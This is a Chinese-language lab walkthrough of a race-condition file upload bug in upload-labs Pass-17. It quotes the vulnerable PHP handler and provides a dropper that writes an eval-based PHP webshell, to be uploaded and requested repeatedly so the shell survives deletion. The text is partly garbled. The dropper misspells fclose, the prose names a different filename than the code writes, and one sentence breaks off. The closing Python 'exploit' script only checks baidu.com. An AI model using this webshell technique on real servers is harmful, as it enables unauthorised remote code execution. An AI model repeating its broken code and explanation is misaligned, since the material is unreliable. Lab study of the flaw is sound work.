条件竞争之文件上传

一.什么是条件竞争上传

条件竞争上传是一种服务器端的漏洞,由于后端程序操作逻辑不合理导致。
由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生,此漏洞一般发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

upload-labs(Pass-17)

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

源码解释:

这里应该是我们成功上传了php文件但后端在*短时间内将其删除*了,所以我们要抢到在它删除之前访问文件,就如我们打开文件的时候去删除它,会提示文件文件已打开一样,这样从而防止文件被删除

实现方法:

利用该逻辑漏洞先行上传一个后门文件,同时我们再去访问该后门文件;

令其在同级目录下重新写入一个后门脚本,这丫也能够的话即使原有的后门脚本被删除,我们也可以利用这个被写入的新的后门去得到访问权限。

后门脚本

现在我们就制作这样一个可写入的后门脚本。

<?php
	$file=fopen("shell.php","w");
	$string='<?php @eval($_POST["test"]); ?>';
	fwrite($file,$string);
	fcolse();
?>

该脚本的意思就是在我们访问这个文件的时候,就生成一个 “shell_test.php” 文件,同时在文件内写入 “

因为从上传到删除的整个过程会非常的短,所以我们需要利用 Burp 的
requests 模块制造两个场景。一个是不停的上传最初的脚本文件,一个需要不停的去访问这个最初的脚本文件去触发它写入新的脚本的动作。

Python脚本访问:

import requests
for i in range(9):
    url="https://www.baidu.com"
    if requests.get(url).status_code == 200 :
        print('yse,访问成功')